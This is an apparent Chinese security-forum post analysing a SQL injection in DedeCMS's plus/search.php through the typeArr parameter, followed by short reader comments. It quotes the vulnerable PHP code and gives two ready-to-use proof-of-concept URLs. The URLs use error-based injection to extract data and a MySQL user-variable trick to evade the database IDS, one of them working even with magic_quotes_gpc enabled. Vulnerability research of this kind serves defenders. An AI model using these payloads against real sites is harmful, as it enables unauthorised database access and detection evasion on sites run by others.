dedecms最新注入分析(可过gpc)
Author:唐门三少
谢绝转载!
0x01简述
前天在微博上看到知道创宇检测到了新的dedecms注入,原文如下:
#0day预警#近日,@知道创宇 监控到多个dedecms注射0day漏洞,经过分析发现,其中有严重且非常容易利用的sql注射0day。我们已积极联系官方并升级KS-WAF、加速乐等产品,请站长密切关注官方信息及网站安全。临时防御方法:1、关闭会员中心并在php.ini里设置magic_quotes_gpc=On 2、删除plus/search.php。
今天在0x50sec上看到了相关的分析文章,大体感觉都没什么问题,但是测试他给出的PoC时,总是失败,感觉有点问题。然后稍微仔细看了下他PoC的内容,居然用@`'`=0这种方式来绕mysqlids!作者肯定没有仔细研究过mysqlids和mysql的用户变量。所以,感觉他的文章不靠谱,自己和几个朋友就研究了下这个漏洞。
0x50sec上的那篇文章,在漏洞原因上的分析大体是对的,但是在细节,和PoC上都有些问题,所以,就有了这篇文章。
0x02漏洞分析
漏洞的原因是typeid未做任何的检测,而且当传入参数$typeArr为数值时,会将$typeArr的key值传为$typeid,从而躲过前面执行转义的代码。下面我们直接来看search.php代码
<?php
/**
*
* 搜索页
*
* @version $Id: search.php 1 15:38 2010年7月8日Z tianya $
* [url=https://www.t00ls.com/space-uid-6000.html]@package[/url] DedeCMS.Site
* @copyright Copyright (c) 2007 - 2010, DesDev, Inc.
* @license [url]http://help.dedecms.com/usersguide/license.html[/url]
* @link [url]http://www.dedecms.com[/url]
*/
require_once(dirname(__FILE__)."/../include/common.inc.php");
require_once(DEDEINC."/arc.searchview.class.php");
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
if(!isset($orderby)) $orderby='';
else $orderby = preg_replace("#[^a-z]#i", '', $orderby);
if(!isset($searchtype)) $searchtype = 'titlekeyword';
else $searchtype = preg_replace("#[^a-z]#i", '', $searchtype);
if(!isset($keyword)){
if(!isset($q)) $q = '';
$keyword=$q;
}
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
//查找栏目信息
if(empty($typeid))
{
$typenameCacheFile = DEDEDATA.'/cache/typename.inc';
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
{
$fp = fopen(DEDEDATA.'/cache/typename.inc', 'w');
fwrite($fp, "<"."?php\r\n");
$dsql->SetQuery("Select id,typename,channeltype From `#@__arctype`");
$dsql->Execute();
while($row = $dsql->GetArray())
{
fwrite($fp, "\$typeArr[{$row['id']}] = '{$row['typename']}';\r\n");
}
fwrite($fp, '?'.'>');
fclose($fp);
}
//引入栏目缓存并看关键字是否有相关栏目内容
require_once($typenameCacheFile);
if(isset($typeArr) && is_array($typeArr))
{
foreach($typeArr as $id=>$typename)
{
$keywordn = str_replace($typename, ' ', $keyword);
if($keyword != $keywordn)
{
$keyword = $keywordn;
$typeid = $id;
break;
}
}
}
}
$keyword = addslashes(cn_substr($keyword,30));
if($cfg_notallowstr !='' && preg_match("#".$cfg_notallowstr."#i", $keyword))
{
ShowMsg("你的搜索关键字中存在非法内容,被系统禁止!","-1");
exit();
}
if(($keyword=='' || strlen($keyword)<2) && empty($typeid))
{
ShowMsg('关键字不能小于2个字节!','-1');
exit();
}
//检查搜索间隔时间
$lockfile = DEDEDATA.'/time.lock.inc';
$lasttime = file_get_contents($lockfile);
if(!empty($lasttime) && ($lasttime + $cfg_search_time) > time())
{
ShowMsg('管理员设定搜索时间间隔为'.$cfg_search_time.'秒,请稍后再试!','-1');
exit();
}
//开始时间
if(empty($starttime)) $starttime = -1;
else
{
$starttime = (is_numeric($starttime) ? $starttime : -1);
if($starttime>0)
{
$dayst = GetMkTime("2008-1-2 0:0:0") - GetMkTime("2008-1-1 0:0:0");
$starttime = time() - ($starttime * $dayst);
}
}
$t1 = ExecTime();
[color=Red]$sp = new SearchView($typeid,$keyword,$orderby,$channeltype,$searchtype,$starttime,$pagesize,$kwtype,$mid);[/color]
[color=Red] $this->TypeLink = new TypeLink($typeid);[/color]
// 通过分词获取关键词
[color=Red] $this->Keywords = $this->GetKeywords($keyword);[/color]
//设置一些全局参数的值
if($this->TypeID=="0"){
$this->ChannelTypeid=1;
}else{
[color=Red] $row =$this->dsql->GetOne("SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}");[/color]
$this->ChannelTypeid=$row['channeltype'];
}
function __construct($typeid)
{
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
$this->indexName = $GLOBALS['cfg_indexname'];
$this->baseDir = $GLOBALS['cfg_basedir'];
$this->modDir = $GLOBALS['cfg_templets_dir'];
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
$this->dsql = $GLOBALS['dsql'];
$this->TypeID = $typeid;
$this->valuePosition = '';
$this->valuePositionName = '';
$this->typeDir = '';
$this->OptionArrayList = '';
//载入类目信息
[color=Red] $query = "SELECT tp.*,ch.typename as ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join `#@__channeltype` ch
on ch.id=tp.channeltype WHERE tp.id='$typeid' ";[/color]
if($typeid > 0)
if($this->TypeID=="0"){
$this->ChannelTypeid=1;
}else{
$row =$this->dsql->GetOne("SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}");
$this->ChannelTypeid=$row['channeltype'];
}
PoC利用
在开启gpc的情况下
http://target/plus/search.php?typeArr[1%20or%20@`'`%20and%20(SELECT%201%20FROM%20(select%20count(*),concat(floor(rand(0)*2),(substring((Select%20(version())),1,62)))a%20from%20information_schema.tables%20group%20by%20a)b)%20and%20@`'`]=11&&kwtype=0&q=1111&searchtype=title
在未开启gpc的情况下,虽然利用成功,但是在后面searchview的SQL语句检测中,会被mysqlids检测到,留下日志。
http://target/plus/search.php?typeArr[2'%20and%20@`'`%20and%20(SELECT%201%20FROM%20(select%20count(*),concat(floor(rand(0)*2),(substring((Select%20(version())),1,62)))a%20from%20information_schema.tables%20group%20by%20a)b)%20and%20']=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
评论25次
牛人很多啊!
你这个只是gpc关的情况吧,你的利用方法和这个挺像的,http://www.0x50sec.org/category/code-audits/ 这个也是你们写的?
看这个
Error info里面的那个数字,version()是mysql用于返回当前版本信息的方法,那个数字就是版本号
大牛 你注出来的内容在哪里那?